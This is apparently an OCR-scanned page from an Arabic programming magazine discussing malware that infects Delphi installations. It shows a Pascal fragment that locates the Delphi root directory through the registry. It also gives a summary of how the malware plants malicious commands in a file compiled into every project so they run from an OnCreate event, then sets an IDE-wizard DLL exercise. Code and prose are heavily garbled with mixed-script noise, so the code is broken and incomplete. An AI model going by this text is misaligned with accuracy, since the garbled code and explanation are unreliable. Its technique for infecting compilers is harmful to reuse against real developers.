vr Char; 
begin 
iese Wr ga VM any VV elo) 


if RegOpenKeyEx (HKEY LOCAL MACHINE, pchar('Software\Borland\Delphi\' + v + '.0'), 0, K 
k) = 0 then 
begin 
ab gex BE 
if RegQueryValueEx(k, 'RootDir', nil, 81, Gc, Gi) = 0 then 
begin 
r = Ug 
aly و‎ 


while c[i] <> #0 do 


begin 
ig se 43 ap eli] stoel) E 
end; 
aie a> V WeewsseceNsElWSwsSWSwsCoawsE" + "sms", ie a و هی(‎ Yp UU ab ie ч 


5522092: ور "عت‎ 
end; 
RegCloseKey (k) ; 


خلاصة: لاحظنا انه åS‏ أن تكتب الأوامر الخبيئة AA‏ ملف يتم دمجه في 
المشروى ASI ШИШ‏ يتم تنفيذ هذه الأوامر عند تشغيل الملف التنفيذي الناتج 
دون da bll‏ با ضافة سطر أوامر Aa‏ حدث .OnCreate‏ 


من الخطاً أيضا أن نظن أن البرنامج الضار يستهدف إصدارات Borland‏ السابقة 
فقط ай‏ بعد алш!‏ الطفيف Ме‏ الأوامر الخبيثة يصبح البرنامج الضار قادر 
علق تلويث إصدارات Ada‏ الجديدة. 


end; 


end. 


تمرين العدد 


Delphi Wizard الفكرة:‎ 


المطلوب: برمجة مكتبة ربط دینامگخٍ DII‏ يتم تثبيتها фа‏ واجهة برمجة ‚фаз‏ 
با يهم المهمة Aill‏ تنجزها المكتبة لإن الهدف من التمرين هو تثبيت أدوات 
خارجية فقي واجهة البرمجة. 


. DelforExp, Delphi Formatter ۰ Ме ينصح بالإطلاى‎ 


الحلول ترسل ابتداءا من اليوم پا dila‏ المنتد و سوف يتم اختيار أحسن حل لينشر 
фа‏ العدد القادم من المجلة. 


